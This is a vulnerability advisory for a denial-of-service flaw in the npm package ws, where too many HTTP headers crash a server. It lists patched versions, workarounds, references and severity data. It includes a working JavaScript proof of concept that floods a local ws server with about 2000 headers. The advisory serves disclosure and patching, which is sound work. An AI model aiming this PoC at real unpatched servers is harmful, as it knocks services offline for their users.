ws affected by a DoS when handling a request with many HTTP headers
Impact
A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.
Proof of concept
const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j < chars.length; j++) {
const key = chars[i] + chars[j];
headers[key] = 'x';
if (++count === 2000) break;
}
}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});Patches
The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).
Workarounds
In vulnerable versions of ws, the issue can be mitigated in the following ways:
- Reduce the maximum allowed length of the request headers using the
--max-http-header-size=sizeand/or themaxHeaderSizeoptions so that no more headers than theserver.maxHeadersCountlimit can be sent. - Set
server.maxHeadersCountto0so that no limit is applied.
Credits
The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.
References
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | ws | >= 2.1.0, < 5.2.4, >= 6.0.0, < 6.2.3, >= 7.0.0, < 7.5.10, >= 8.0.0, < 8.17.1 | 5.2.4, 6.2.3, 7.5.10, 8.17.1 |
References
- https://github.com/websockets/ws/security/advisories/GHSA-3h5v-q93c-6h6q
- https://github.com/websockets/ws/issues/2230
- https://github.com/websockets/ws/pull/2231
- https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f
- https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e
- https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c
- https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63
- https://github.com/websockets/ws
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-476- Platform
- npm
- Package
ws- Disclosed
- 17.06.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-3h5v-q93c-6h6q - CC BY 4.0
Vulnerability history: ws
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 7
- First → latest
- 02.2019 06.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 4
- Medium 2
- Low 1
Disclosures per year
- 2019: 3
- 2020: 0
- 2021: 1
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 2
-
ws affected by a DoS when handling a request with many HTTP headers this entry
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